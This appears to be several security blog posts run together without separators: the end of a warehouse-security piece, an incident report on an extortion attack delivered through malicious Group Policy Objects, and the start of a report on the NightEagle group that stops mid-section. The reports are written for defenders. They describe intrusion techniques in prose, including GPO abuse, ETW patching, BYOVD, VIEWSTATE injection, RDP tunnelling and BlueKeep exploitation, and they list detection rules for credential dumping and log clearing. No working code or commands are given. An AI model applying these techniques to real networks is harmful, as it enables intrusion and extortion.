Attacks on a WMS don’t always target the application directly, though. As we saw while tracing the unicorn, the warehouse is full of connected devices that already hold trusted access. A handheld terminal carries authenticated WMS API access as a matter of course, and anyone who gains control of that terminal inherits it (by escaping the kiosk, for example). Depending on the device’s permissions, that might mean confirming picks that never occurred, falsifying receiving operations, adjusting stock counts, or marking orders complete — something warehouse employees themselves could use to avoid their assigned duties.
Where the WMS is connected to control and automation systems, access to the WMS can extend into physical operations, including conveyors, sorting systems, lifts, doors, and pumps.
PLCs translate WMS instructions and sensor inputs into physical actions. Compromising a system that controls them therefore creates an opportunity to manipulate those actions. The impact can be as simple as a sorting diverter sending boxes down the wrong route, a conveyor repeatedly entering an error state and creating a backlog, or a falsified sensor value causing a line to be treated as clear when it is full.
However the WMS is compromised, the business consequence is the same: inventory corruption, unauthorized shipments, and operational disruption, each reaching the customer in the end as a late or missing delivery, the wrong item in the box, or a personal address exposed to a stranger.
Securing the unicorn
We followed our unicorn through web applications and databases, radio channels and PDTs, printers, conveyors, robots, and the loading zone. Because warehouse environments combine IT, OT, wireless, physical, and human components, security controls should be implemented as a single, coordinated security architecture rather than as isolated measures. Network segmentation should be a foundational control, with clear separation between corporate IT, warehouse OT, operational devices, management networks, and externally connected systems. Segmentation should also extend across facilities and customer environments so that each site and customer integration is isolated from the others, limiting the potential impact of a compromise. A zero-trust approach should reinforce this architecture by requiring explicit authentication and authorization for connections between systems, regardless of their network location, and by applying least-privilege access wherever possible. Regular penetration testing of the corporate IT environment, including domain services, identity infrastructure, and endpoints, should be incorporated into the warehouse security program.
Physical and network access controls should be implemented together. Access to warehouse facilities, network rooms, communication cabinets, and operational areas should be restricted according to business need, with appropriate authentication, monitoring, and access logging. Network infrastructure should be hardened through controls such as switch port security, MAC-based access restrictions where appropriate, and IEEE 802.1X with EAP-TLS for strong device and user authentication. Network equipment should also be securely configured and regularly reviewed to ensure that unused interfaces, insecure management protocols, default credentials, and unnecessary services are disabled.
Web applications and their supporting infrastructure should be governed through a secure software development lifecycle (SSDLC), including security requirements, secure coding practices, code and dependency review, and application security assessment before deployment and throughout the application’s lifecycle. Third-party applications and components should be continuously monitored and updated, with a defined vulnerability and patch management process. This should explicitly include warehouse management systems (WMS), warehouse portals, APIs, and other applications that provide operational or customer-facing functionality.
Wireless technologies should be subject to dedicated security assessment and engineering. Radio-frequency surveys should be conducted to establish expected coverage, identify unauthorized or unexpected signals, validate the availability and protection of operational communications, and determine whether wireless deployments create unintended access paths into warehouse networks. Wireless security should be assessed not only from a connectivity perspective but also in terms of authentication, encryption, device provisioning, protocol exposure, interference resilience, and the potential impact of unauthorized devices.
Warehouse operational devices should be incorporated into the organization’s endpoint security and vulnerability management processes. Devices should receive security updates and firmware patches on a defined schedule, with accelerated remediation for critical vulnerabilities. Security assessments should be performed periodically to identify weaknesses in device configuration, applications, exposed services, and authentication mechanisms.
Personnel security should form an additional layer of the warehouse security architecture. In most industrial and ICS environments, getting inside means clearing background checks, holding relevant qualifications, or proving prior experience; the hiring process itself acts as a filter. A warehouse is different. Roles in sorting, packing, and courier work are hired quickly and in volume, and they typically require no prior expertise, certification, or specialized background at all. An ordinary person can walk in off the street, be hired within days, and immediately hold legitimate physical access to the facility. Therefore, a more restrictive and risk-based approach to hiring should be considered, particularly for roles that provide access to sensitive areas, operational systems, network infrastructure, or customer assets.
Ultimately, all of these measures serve the same objective: protecting the continuity and reliability of the warehouse as a whole. This matters because real warehouses handle food, medicines, machine parts, and the millions of ordinary things people and companies depend on every day. Protecting their journey means seeing the warehouse as it has actually become: a single digital system with doors, motors, shelving, and radio signals, and with entirely real consequences when it fails. And if the security program works, the customer never knows any of this happened. The unicorn simply arrives at the scheduled time.
If your warehouse operations rely on interconnected systems like these, we can help identify the gaps before an adversary does. Reach out to discuss a security assessment.
In April 2026, we at Kaspersky’s Global Emergency Response Team (GERT) responded to a security incident at a manufacturing organization in the Middle East. The threat actor obtained domain admin-equivalent control of the organization’s Active Directory environment and authored a malicious Group Policy Object (GPO) named PAYLOAD, linking it at the domain root. Through that single object, the actor delivered ransom notes, hijacked the desktop wallpaper and lock screen, enforced a logon banner, and disabled the local administrator account across every domain-joined Windows workstation — all without dropping a ransomware binary or encrypting any data. The only ransomware we found in this incident was PAYLOAD sample targeting ESXi on Linux servers. Besides that, data exfiltration was observed originating from the file servers and several additional systems, and was later published on the dark web.
Living-off-the-land abuse of trusted AD infrastructure. Group Policy is a signed, allowlisted, SYSTEM-privileged distribution channel that the majority of endpoint detection and response tools is designed not to inspect. By delivering impact through GPO rather than through malware, the actor sidestepped the entire file- and process-based detection stack.
Encryptionless extortion. Industry telemetry shows extortion-only incidents grow significantly year-on-year. PAYLOAD fits this model; the leverage is operational disruption and the threat of escalation rather than cryptographic denial of data.
We confirmed that no files were encrypted on Windows machines, no malicious binaries were resident on disk, no endpoint persistence was established, and no malicious processes were running at the time of analysis. The entire attack lived inside Active Directory itself. The defensive implication is stark: an organization whose detection strategy depends on catching a ransomware executable would have seen nothing until the first endpoint rebooted and the ransom wallpaper appeared.
In this article, we will describe the GPO attack chain and provide operational advice on how to detect such threats, including detailed remediation recommendations.
Group Policy as an attack surface
Attacks through group policies are nothing new. They can inflict significant, domain-wide damage with multiple malicious capabilities. A Group Policy Object (GPO) is essentially a combination of a Group Policy Container (GPC) in Active Directory and a Group Policy Template (GPT) in SYSVOL. The Group Policy scope depends on whether the GPC is linked to the directory tree at the domain, site, or organization unit (OU) level. A link at the domain root means the policy applies to every computer and user object beneath it. Thus, a GPO compromised at the domain root can affect all in-scope domain users and computers, potentially granting an attacker complete control over the corporate network. What makes GPO abuse even more dangerous is that group policies are processed in a trusted, high-privilege environment, ensuring persistence because endpoint cleanup is not enough to remove them.
We have already discussed GPO architecture and ways it can be compromised in greater detail in an earlier blog post. Other public threat intelligence has also repeatedly documented this technique in ransomware operations. Microsoft observed Ryuk operators distributing ransomware through Group Policy, SYSVOL startup items, and PsExec. LockBit affiliates have been documented modifying SYSVOL Group Policy files, including ScheduledTasks.xml, to support ransomware execution and propagation. BlackCat/ALPHV operators have also abused GPOs to create scheduled tasks and deploy ransomware.
Another notable example of GPO abuse is PAYLOAD ransomware, which weaponizes GPO Preferences and policy settings for pure impact rather than as a launcher for an encryptor. Let’s take a closer look at this attack, which is detailed further below.
Attack timeline
During the April 2026 investigation, we managed to reconstruct the attack timeline as outlined below:
Date
Event
11 April
Initial access. Threat actor authenticates to the FortiGate SSL VPN using a valid but compromised domain credential.
13 April
GPO authored. Malicious GPO, PAYLOAD ({C897F2C7-C2AC-4E6F-BF48-58036FF29E79}) created and linked at the domain root, configuring ransom notes, wallpaper, lock screen, logon banner, and administrator account disablement.
13 April
SYSVOL staging. The payload.jpg and hello.txt files written to \\DC.THECOMPANY.local\sysvol\THECOMPANY.local\.
13 April
Second GPO. GPO named win Firewall Off ({22099AD2-E062-4F56-B574-5099BBA4E7A6}) linked at the domain root, disabling Windows Firewall on all profiles.
13 April
Dormancy. GPO cached on endpoints but computer configuration not yet applied — no endpoint had rebooted since the policy update.
13 April
Data exfiltration. Data exfiltration was observed originating from the file servers and several additional systems.
14 April
Detonation. Most of the endpoints begin rebooting; computer configuration policies apply. Ransom wallpaper, logon banner, and notes appear. Operational disruption begins.
15 April
Response. Kaspersky GERT engaged. Forensic triage of affected workstations and the domain controller initiated.
16 April
Assessment. GERT confirms no file encryption, no resident malware, no endpoint persistence.
Next, we will discuss each of these stages in more detail and share the findings from our incident response activities.
Incident overview
Initial access
The entry vector was a compromised valid account (MITRE ATT&CK T1078) used to authenticate through the organization’s FortiGate SSL VPN — an external remote service (T1133). Insufficient logging on the FortiGate appliance prevented us from reconstructing how the credential was originally compromised.
Three hypotheses were considered plausible in the context of the attack, in no particular order:
Password spraying or credential stuffing against the SSL VPN portal.
Phishing-led credential harvesting.
Purchase of pre-compromised credentials from an initial access broker (IAB).
Once on the internal network, the actor operated with the compromised security principal’s privileges. Because the account was able to create and link a GPO at the domain root, it held either domain admin privileges or a delegated equivalent (e.g., membership of Group Policy Creator Owners combined with link rights on the domain object).
FortiGate SSL VPN authentication logs and ESXi/virtualization privilege escalation logs were insufficient to reconstruct the lateral movement and privilege escalation chain between initial VPN access and the GPO write privilege level. The most common real-world routes to GPO control — DCSync, Kerberoasting of privileged service accounts, and Pass-the-Hash/Pass-the-Ticket — could not be confirmed or ruled out.
Execution
Rather than deploying an encryptor, the actor abused the victim’s Active Directory policy infrastructure, resulting in malicious GPOs being configured and linked at the domain root to deliver the observed impact across domain-joined systems. The two GPOs below constitute the entire offensive toolkit observed.
The PAYLOAD GPO
We performed a Resultant Set of Policy (RSOP) analysis, which helped us list all policy settings on the affected workstations. From these results, we reconstructed the following changes delivered by PAYLOAD:
Drop SYSVOL\hello.txt to the desktop and root directories C:\ and D:\ as a read-only README-payload.txt by tampering with the “Group Policy Files” client-side extension (CSE).
Modify the HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ registry key, changing the legalnoticecaption value to "Welcome to Payload!" and the legalnoticetext to the ransom note text through the “Group Policy Registry” CSE.
Set payload.jpg located in the targeted domain controller’s SYSVOL as the lock screen image by altering the personalization policy, and as the wallpaper by altering the desktop policy at the user level.
Revoke administrator rights for the administrator account (locking the account) by editing the Security Settings CSE in the GptTmpl.inf file.
Settings changed by PAYLOAD GPO
This activity was enabled entirely through a legitimate group policy mechanism, meaning there is no malware code for security solutions to look for because the malicious logic is contained within the policy configuration.
The win Firewall Off GPO
A second domain-root-linked GPO, named “win Firewall Off”, disabled Windows Firewall across the domain, private and public profiles on all endpoints (T1562.004). Deployed independently of PAYLOAD, this object degraded host defenses and ensured the actor retained unimpeded network reach to endpoints for any follow-on activity.
Settings changed by win Firewall Off GPO
The one-day delay detonation
The most forensically instructive detail is the one-day gap between GPO creation (13 April) and visible impact (14 April). Analysis of Master File Table (MFT) timestamps and the Group Policy History registry key confirmed the policy was written to SYSVOL and cached on endpoints on 13 April. However, computer configuration settings (wallpaper and lock screen machine policy, security settings, firewall disabling) only apply upon reboot or policy refresh — and no endpoint had rebooted in the interim. The attack therefore remained dormant in the GPO cache for one day before detonating en masse when machines were restarted in accordance with standard procedures.
We have to point out here that this delayed policy application is characteristic of GPO-based operations and has two potential consequences for defenders. Firstly, it may grant the actor a quiet window for exfiltration, persistence, or further staging between weaponization and impact. Secondly, it can be used to sever the temporal link between the cause (a GPO-creation event in the directory log) and the effect (mass user-visible disruption occurring at a later time), complicating timeline reconstruction unless directory service auditing is in place.
Forensic findings
Initial incident response engagement revealed a number of findings associated with the attack that we share below.
No file encryption
A full review of the MFT on affected workstations found no files bearing a .payload extension characteristic to PAYLOAD ransomware and no evidence of bulk renaming or encryption I/O patterns. The attackers’ objectives were operational disruption and extortion via visual impact and access denial.
No endpoint persistence
All standard persistence locations were clean:
Scheduled tasks — no malicious tasks
Run/RunOnce keys — clean
Startup folders (user and system) — clean
Services — no malicious service installed
WMI event subscriptions — none
Boot sector/MBR — unmodified
The attack’s persistence mechanism is the GPO link itself on the domain controller, with no endpoint-resident component.
No active malicious processes
Live process and memory analysis revealed no injected threads, process hollowing or anomalous outbound connections.
Registry timeline analysis
Group Policy History, Shadow and State registry keys on the workstation recorded the application of PAYLOAD on 13 April:
HKLM\…\Group Policy\History\{35378EAC-683F-11D2-A89A-00C04FBBCFA2}\1
HKLM\…\Group Policy\Shadow\{827D319E-6EAC-11D2-A4EA-00C04F79F83A}\0
HKLM\…\Group Policy\State\Machine\GPO-List\7
HKCU\…\Group Policy\History\{7150F9BF-48AD-4da4-A49C-29EF4A8369BA}\1
HKCU\…\Group Policy\State\S-1-5-21-…\Loopback-GPO-List\5
The presence of the “Loopback-GPO-List” entry indicates the GPO was processed in loopback mode, ensuring the user configuration (wallpaper) applied regardless of which user logged on to the machine.
SYSVOL artifacts
Two files were staged on the domain controller’s SYSVOL share and served to endpoints through the Files Group Policy Preference CSE:
payload.jpg — the ransom image used for both wallpaper and lock screen.
hello.txt — the ransom note, distributed to desktops and drive roots as README-payload.txt.
Detection engineering
Because no malicious binary or process exists, the detection logic should focus on the directory service and SYSVOL indicators. Below are the highest-value telemetry sources for identifying the described malicious activity.
Directory service change auditing (DS Access)
Enable Advanced Audit Policy → DS Access → Audit Directory Service Changes on all domain controllers and set up alerts for the following events:
Event ID
Meaning
Hunt focus
5137
A directory service object was created
The account that created new groupPolicyContainer objects must be an authorized GPO administrator
5136
A directory service object was modified
Changes to gPLink on the domain root or sensitive organizational units; changes to gPCMachineExtensionNames/gPCUserExtensionNames/gPCFileSysPath/versionNumber for all GPOs
5141
A directory service object was deleted
GPO deletions (relevant for tamper detection and remediation assessment)
A gPLink modification at the domain root by a non-standard account is one of the most telling indicators of this attack class.
SYSVOL file integrity monitoring
Monitor \\DC.THECOMPANY.local\sysvol\THECOMPANY.local\Policies\ for unexpected files, particularly image files, text files, scripts, ScheduledTasks.xml, and modified registry.pol/GptTmpl.inf files that were created by sources other than legitimate replication.
Endpoint policy application telemetry
On endpoints, GPO application is logged in the Group Policy Operational log (Microsoft-Windows-GroupPolicy/Operational) and reflected in the History and Shadow registry keys shown above. A sudden domain-wide change to the applied policy set is a strong post-detonation signal.
Missing 5136 events
If the contents of a GPO’s SYSVOL change without a corresponding 5136 event, this can indicate direct SYSVOL/template editing (e.g., via open-source tools such as PowerView or SharpGPOAbuse) that bypasses the normal Group Policy Management Console (GPMC) modification path. While we recommend treating the absence of expected audit events as suspicious, it should be noted that this can be caused by misconfigured auditing.
Anti-forensics and recovery-inhibition capabilities
Confirmed PAYLOAD family capabilities
The Windows endpoint attack described in this report was implemented through malicious Group Policy Objects and did not involve a recovered ransomware executable, resident endpoint malware, confirmed file encryption or active malicious processes at the time of the forensic examination. However, PAYLOAD cryptomalware for Windows does exist, and other sources, including public analysis of its samples, reveal further malicious capabilities of this ransomware that could be used by security teams to enrich detection logic and security policies.
The behaviors documented in this section must therefore be interpreted as family-level capabilities identified through the public reverse engineering of PAYLOAD ransomware samples. They were not confirmed as having executed during the GPO-based incident unless corresponding evidence was identified in the host, memory, process, event-log, or hypervisor.
Windows Event Log clearing
Public reverse engineering of the PAYLOAD Windows variant reveals an optional event log clearing capability (T1685.005, formerly T1070.001). The ransomware dynamically resolves Windows Event Log APIs, enumerates available event log channels, and clears individual channels.
Implementation artifacts include:
Runtime loading of wevtapi.dll
EvtOpenChannelEnum
EvtNextChannelPath
EvtClearLog
Enumeration of Security, System, Application, and PowerShell logs, and operational channels
A command-line option controlling whether log clearing is performed
Clearing event logs reduces the availability of records related to process execution, authentication, PowerShell, service control, and system changes. However, it does not necessarily remove events that were already forwarded to a SIEM, Windows Event Collector, EDR backend, or protected log archive.
Forensic indicators
Windows Security Event ID 1102
Event logging shutdown or failure events
Sudden reductions in event record identifiers
Multiple event channels restarting from low record numbers
Gaps between endpoint and centrally forwarded telemetry
Execution of utilities or APIs associated with log management
Direct access to EVTX files (Windows Event Log files) under the Windows event log directory
We should note that these indicators can’t be interpreted on their own. For instance, Event ID 1102 should be correlated with a number of aggravating factors, such as:
Event ID 4688 or Sysmon Event ID 1 for process creation
Event ID 4624 for the associated administrative logon
EDR process trees
PowerShell operational logging
Windows Event Forwarding records
Privileged access management activity
At the same time, the absence of Event ID 1102 does not prove that log clearing did not occur. Direct deletion, truncation, service impairment, or an incomplete audit configuration may produce different evidence.
Security process and service termination
PAYLOAD analysis reveals that the Windows ransomware variant contains logic that targets security processes and services (T1685 and T1489). This capability is intended to stop security products, backup software, database services, and applications that may lock files targeted for encryption.
Process and service termination serves several objectives:
Reduce endpoint detection and response visibility.
Release file handles so data can be modified.
Interrupt backup and recovery services.
Prevent databases and enterprise applications from protecting active data.
Reduce interference with encryption operations.
Forensic indicators
Security agent services changing from running to stopped
Event ID 7036 service state changes
Event ID 7040 service start type changes
Event ID 4688 or Sysmon Event ID 1 for service control utilities
Sysmon Event ID 5 for terminated processes
EDR health degradation affecting many endpoints
Repeated termination attempts against security or backup processes
Execution of dedicated process killing utilities
VSS deletion, backup and recovery suppression
Public PAYLOAD sample analysis reports the deletion of Windows Volume Shadow Copies before encryption (T1490). This behavior removes local restore points and reduces the victim’s ability to recover files without external backups.
Recovery inhibition is broader than VSS deletion and may include multiple other malicious techniques, including the following:
Deleting shadow copies, backup catalogs, and hypervisor snapshots
Disabling recovery services
Modifying boot recovery settings
Compromising backup management platforms
Deleting or encrypting backup repositories
In the PAYLOAD Windows sample that is proven to perform encryption, VSS deletion is confirmed to have taken place before encryption. A broader compromise of the backup platform was not established in the investigated incident.
Forensic indicators
Execution of shadow copy management utilities
Backup catalog deletion attempts
Recovery configuration changes
Backup service termination
Mass snapshot deletions
Backup administrator logons outside normal maintenance windows
Backup retention or immutability changes
Backup jobs failing immediately before disruptive activity
Ecosystem-relevant ransomware techniques
Above, we discussed the techniques specific to PAYLOAD ransomware. In this section, we’ll review other common ransomware techniques, such as BYOVD abuse and ESXi policy weakening, that remain relevant risks in the ransomware ecosystem. However, these techniques should not be attributed to this incident without supporting driver load, process, memory, ESXi, vCenter, or backup platform telemetry. We describe these techniques below as they may prove useful in other ransomware-related forensic investigations.
The examples used in this section are therefore ecosystem-relevant: they are commonly observed in ransomware operations but not conclusively attributed to the analyzed PAYLOAD samples.
ETW suppression and in-memory patching
Event Tracing for Windows (ETW) is a kernel-supported tracing architecture used by Windows components, diagnostic utilities, security products, and endpoint monitoring systems.
Although we didn’t encounter this technique in our case, some ransomware families can patch ETW-related functions inside the ransomware process (T1685, formerly T1562.001). The reported routine changes the memory protection of code pages, overwrites the beginning of selected ETW functions so they return without producing events, restores the original protection, and refreshes the instruction cache.
Reported target functions include EtwEventWrite, EtwEventWriteFull, EtwEventWriteTransfer, and EtwRegister.
This modification applies to the process-local mapping of ntdll.dll. It does not disable ETW globally across Windows, but it can reduce the telemetry generated by the modified process.
Forensic indicators
Writable or recently modified executable pages within ntdll.dll
Memory protection changes affecting ETW function addresses
In-memory code differing from the corresponding clean DLL on disk
EDR memory tampering alerts
Unexpected calls to memory protection APIs followed by telemetry silence
Process execution visible in network or filesystem telemetry but absent from expected ETW-derived sources
Inconsistent telemetry between EDR, Sysmon, Windows Event Logs, and network monitoring
It should be noted that telemetry gaps are not conclusive evidence of ETW patching. Other factors include agent upgrades, network outages, endpoint shutdowns, SIEM ingestion failures, collector backpressure, and filtering or licensing changes.
Memory acquisition is the strongest validation source when process-local ETW patching is suspected.
Vulnerable signed driver abuse, BYOVD
Bring Your Own Vulnerable Driver (BYOVD) involves introducing or abusing a legitimately signed but vulnerable kernel driver (T1068 and T1685). The attacker exploits the driver’s exposed functionality to gain kernel-level capabilities, modify protected memory, terminate security processes, remove security callbacks, or bypass operating system security controls.
BYOVD is highly relevant to contemporary ransomware operations. However, the reviewed public PAYLOAD analyses do not provide sufficient evidence to conclude that BYOVD is an intrinsic PAYLOAD capability.
It should therefore be presented as an ecosystem-relevant technique rather than a confirmed PAYLOAD feature.
Forensic indicators
Unexpected .sys files written to user-writable or temporary directories
New kernel driver services
Sysmon Event ID 6
Driver hashes matching Microsoft or community vulnerable driver blocklists
Invalid, revoked, expired, or unusual driver signatures
Driver load followed by EDR termination
New privileged processes immediately following driver loading
Code Integrity or Defender alerts
Service creation events referencing driver files
ESXi security policy weakening
Ransomware operators are increasingly targeting ESXi and vCenter because compromising the virtualization layer provides access to many business-critical virtual machines.
Public research typically describes operators performing the following activities (T1685, T1490 and T1489):
Enabling SSH on ESXi hosts
Changing root passwords
Disabling execInstalledOnly
Modifying lockdown mode exceptions
Stopping virtual machines
Deleting snapshots and backups
Changing host firewall policies
Copying custom ransomware binaries to hypervisors
On the target organization’s Linux servers we saw an ESXi PAYLOAD variant, which makes this behavior operationally relevant. Nevertheless, the reviewed evidence does not indicate that PAYLOAD operators used any of these policy-weakening actions in the investigated incident.
Forensic indicators
Unexpected ESXi SSH enablement
Changes to execInstalledOnly
Secure Boot enforcement changes
Lockdown mode configuration changes
Root password changes
New or unusual administrator accounts
Bulk VM shutdown activity
Bulk snapshot deletion
New binaries in datastore or temporary paths
vCenter tasks originating from unexpected accounts or systems
Missing or disabled remote syslog forwarding
Remediation
To contain the described threat and limit possible damage, several remediation steps should be taken. Below, we recommend a four-phase remediation approach for containing this threat and restoring the affected environment.
Phase 1 — domain controller actions (to be performed first)
When dealing with PAYLOAD GPO, the first priority of the remediation plan should be to remove the source GPOs. Until this is done, endpoint cleanup is ineffective because the next policy refresh re-infects cleaned machines.
The immediate domain controller actions to be taken are:
Delete PAYLOAD GPO. Remove {C897F2C7-C2AC-4E6F-BF48-58036FF29E79} via GPMC.
Delete or revert win Firewall Off GPO. Remove {22099AD2-E062-4F56-B574-5099BBA4E7A6}.
Clean SYSVOL. Delete jpg and hello.txt from \\DC.THECOMPANY.local\sysvol\THECOMPANY.local\.
Rotate credentials. Reset the compromised account; audit all privileged accounts and group memberships for unauthorized changes; rotate krbtgt twice if domain admin compromise is confirmed.
Force refresh. Perform gpupdate /force across endpoints after deletion; re-enable local administrator and firewall via clean policy.
Phase 2 — Active Directory and GPO hardening
Adopt the AD tiered administration model and confine domain admins to Tier 0 with no interactive logon to workstations and member servers.
Separate GPO creation from GPO linking rights, and grant both only to a dedicated, audited administrator role.
Enable GPO change auditing (Event IDs 5136, 5137, 5141) and forward to a SIEM.
Monitor SYSVOL with file integrity tooling.
Phase 3 — credential and access hardening
Enforce phishing-resistant MFA on all VPN and remote access entry points.
Deploy Windows LAPS to generate unique, rotated local administrator passwords.
PAYLOAD demonstrates a maturing tactic of turning the victim’s own trusted infrastructure into a weapon. By weaponizing Group Policy, the actor achieved a domain-wide impact without a single malicious binary on any endpoint, evaded file- and process-based detection entirely, and caused organization-wide disruption within seconds of the first reboot.
The absence of encryption is the most strategically significant finding and is consistent with the 2026 trend toward encryptionless extortion. At Kaspersky GERT, we assess with moderate confidence that the missing encryption reflects one of two scenarios: (1) a deliberate decision to stay below the irreversible data destruction threshold while preserving the option of a follow-on encryption phase, or (2) an operation interrupted before full execution.
The absence of encrypted files must not be mistaken for the absence of a serious compromise — the most critical impact lies in the actor gaining domain admin-level control. This incident proves that a threat actor with domain admin access and a working knowledge of group policy internals can inflict domain-wide disruption equivalent to a ransomware attack without writing a single malicious file to any endpoint.
Detection strategies anchored solely in file- or process-based indicators are blind to this attack class. Effective controls include directory service change auditing, SYSVOL integrity monitoring, and privileged access governance, which allow for GPO protection.
Detection by Kaspersky solutions
Kaspersky security solutions effectively detect the described malicious activity at various stages of the attack. Possible detection scenarios are listed below.
To protect organizations that use our Kaspersky SIEM system, we have prepared a package of correlation rules designed to help detect this type of malicious activity. The rules are now available for customers to download from the SIEM repository; the package name is: [OOTB] Group policy hijacked: PAYLOAD ransomware – ENG.
The “Group policy hijacked: PAYLOAD ransomware” package contains rules that detect suspicious file creation or modification in the SYSVOL shared folder on a domain controller, as well as changes to critical attributes and settings of domain group policies. Some rules may require adjustment if they trigger in response to legitimate activity, such as synchronization between domain controllers or the configuration of a new group policy.
To ensure the detection rules function correctly, verify that events from Windows systems are being received in full, including events with the following identifiers: Sysmon: 11, Security — 4663, 5136, 4657.
We also recommend applying the following rules available in the repository to detect all attack stages.
Detection of Windows Event Log clearing to cover up traces of an attack: R050_03_Windows Event Log was cleared
Detection of suspicious access to the LSASS process, which may indicate attempts to dump credentials: R262_Suspicious access to the LSASS process
Detection of the Volume Shadow Copy service being started, which is used to create shadow copies before deleting them: R231_20_Running the Volume Shadow Copy service
Detection of shadow copy deletion: R321_Shadow copy deletion
Detection of Windows Defender disablement: R076_01_Windows Defender Antivirus was disabled
Detection of attempts to disable or modify the system firewall: R240_03_Disabling system firewall via the registry
Detection of a service installation from a non-system folder, which may indicate malware persistence techniques: R281_01_Installation of a service from a non-system folder
For the rules in this list to function correctly, it is necessary to configure Security event auditing for event IDs 4663, 5136, 4657, 7036, and 1102.
In addition to the SIEM system, when audit settings are configured correctly, the process of creating, modifying, and deleting GPOs generates a large number of characteristic artifacts on the domain controller, enabling Kaspersky Endpoint Detection and Response Expert to promptly alert the user to anomalies in the infrastructure.
The creation of a new GPO is covered by the gpo_creation rule, which triggers in response to the corresponding event in the infrastructure. Changes to existing policies are detected by the following rules:
The setting_the_gpcfilesyspath_attribute rule detects the use of the gPCFileSysPath attribute of a Group Policy Object, which specifies the path to the GPO’s contents in SYSVOL.
In the next major version update of Kaspersky EDR Expert, a new event type, GPO, will be introduced, allowing users to track changes to Group Policy Objects.
For information security officers, GPO events will serve as an additional source of context when investigating activity in Active Directory and will help detect changes that could affect the configuration, access rights, and security of endpoints before a potentially malicious policy is deployed.
MITRE ATT&CK mapping
Tactic
Technique
Observed behavior
Initial Access
T1078 — Valid Accounts
Compromised domain credential used for VPN authentication
Initial Access
T1133 — External Remote Services
FortiGate SSL VPN used as entry point
Privilege Escalation
T1078.002 — Domain Accounts
Account held domain-level GPO create/link rights
Privilege Escalation/Defense Impairment
T1484.001 — Group Policy Modification
Malicious PAYLOAD GPO created and linked at domain root; re-applies on every refresh/reboot; uses trusted channel to evade EDR
Defense Impairment
T1686 — Disable or Modify System Firewall
win Firewall Off GPO disables Windows Firewall on all profiles
Impact
T1491.001 — Internal Defacement
Wallpaper and lock screen replaced with ransom image
Impact
T1531 — Account Access Removal
Local Administrator account disabled via GPO Security Settings
Collection
T1005 — Data from Local System
Data exfiltration was observed originating from the file servers
Command and Control
T1071 — Application Layer Protocol
No live C2 confirmed; delivery achieved entirely via GPO
Indicators of compromise
GPOs
PAYLOAD ransomware GPO: {C897F2C7-C2AC-4E6F-BF48-58036FF29E79}
win Firewall Off GPO: {22099AD2-E062-4F56-B574-5099BBA4E7A6}
File names and MD5 hashes
payload.jpg: Ransom wallpaper and lock screen image (SYSVOL)
hello.txt: Ransom note source (SYSVOL)
README-payload.txt: Ransom note dropped to desktops and drive roots
killer.exe (0108656A3E1ADE6CA4F21B084F5E1208): process killer tool
kill.exe (BEA5E267F24D7DA59F6821BFFDBFF293): process killer tool
Over the past year, our Global Emergency Response Team (GERT) has investigated several incidents involving the NightEagle group (also tracked as APT-Q-95). This group has been active since at least 2023 and originally focused on organizations in Asia. We have now identified attacks by the group targeting businesses in Russia. This post examines both known and new tools NightEagle used in its latest campaign.
Initial access
In most incidents, the attackers used compromised valid credentials to gain access to corporate VPNs. VPN connections originated from IP addresses in the Russian segment linked to Cloudflare WARP tunnels, as well as from IP addresses associated with European virtual infrastructure providers.
GhostContainer on Microsoft Exchange
Both during the initial access stage and as the attack progressed, the attackers deployed the GhostContainer backdoor on Microsoft Exchange servers. It incorporates components from several open-source projects, including the Neo-reGeorg tunnel, an exploit for the CVE-2020-0688 vulnerability, and the GhostWebShell class from the ysoserial utility. All of these components are publicly available on GitHub.
We were unable to determine the exact method the attackers used to deliver the backdoor to Microsoft Exchange servers. We believe with a high degree of confidence that they applied a technique already familiar to us: extracting the cryptographic keys used by Microsoft Exchange from the ASP.NET configuration, overwriting the VIEWSTATE framework parameter, and injecting a payload into it, which then launched the GhostContainer backdoor in memory.
The backdoor is a .NET assembly containing three classes that implement its core functionality:
Stub: processes C2 commands delivered to the infected system through the x-owa-urlpostdata headers and evades detection by the Antimalware Scan Interface (AMSI) and Windows Event Log mechanisms by overwriting addresses in amsi.dll and ntdll.dll.
App_Web_843e75cf5b63: accepts the fakePath and fakePageName parameters and creates virtual paths that redirect requests to the App_Web_8c9b251fb5b3 class.
App_Web_8c9b251fb5b3: implements network traffic redirection (proxying) and socket forwarding functionality.
Kaspersky products detect the GhostContainer backdoor as Trojan.MSIL.GhostContainer.gen.
GhostContainer samples identified by the Similarity technology from Kaspersky Threat Analysis
Traffic redirection
Once the attackers gain sufficient privileges during an attack, they leverage RDP to move laterally within the internal network segment. To do this, they download and run tools for tunneling and redirecting network traffic.
The attackers used GitHub repositories to host their archived tools. The names of the repositories and archives were disguised to look legitimate:
One of the repositories used for storing network tools
The files contained within the archives were also given names mimicking known legitimate software, though unrelated to the archive names:
adobe_32.exe;
AdobeSync.exe;
trueconf.exe;
1cbroker.exe;
1c-office-plugin.exe;
trueconf-broker.exe.
Across the incidents we investigated, we found two tools that the attackers combined for traffic tunneling.
Microsoft dev tunnels
This is a legitimate Microsoft mechanism that allows local web services to be published for internet access on *.*.devtunnels.ms domains. The attackers used this tunneling capability to expose port 3389 (RDP) on the compromised system.
Execution graph of adobe_32.exe in Kaspersky Research Sandbox
rdp2tcp
This is a publicly available tool for tunneling TCP traffic over an established RDP connection. It includes a server component that runs on the target system and a client component that runs on the attacker’s side.
When virtual channels are opened and closed, corresponding events with IDs 132 (channel opened) and 148 (channel closed) are logged in the Microsoft-Windows-RemoteDesktopServices-RdpCoreTS/Operational.evtx Windows log. These events contain the names of the channels (such as XPSRD, cliprdr, Microsoft::Windows::RDS::DisplayControl, and others) used by the RemoteFX module, which extends the capabilities of the RDP protocol.
When the rdp2tcp tool is used, events with IDs 132 and 148 will contain the channel name rdp2tcp or other random alphanumeric combinations chosen by the attackers.
Creation event for a channel named rdp2tcp (server component startup)
The combination of Microsoft dev tunnels and rdp2tcp allows the attackers to maintain network access by using legitimate services without opening additional suspicious ports.
The attackers also used the atexec utility from the Impacket toolkit to create scheduled tasks on target systems. These tasks enabled network port forwarding through standard Windows functionality:
To obtain elevated privileges and move laterally through the network, NightEagle exploited various vulnerabilities in Active Directory. The attackers used previously established tunnels to connect to internal infrastructure systems.
In one incident, they exploited a well-known RDP implementation vulnerability, CVE-2019-0708 (BlueKeep). They used the vulnerable mechanism to create a local account on the system and add it to the Administrators and Remote Desktop Users groups.
Contents of a system memory dump showing artifacts of the CVE-2019-0708 exploit
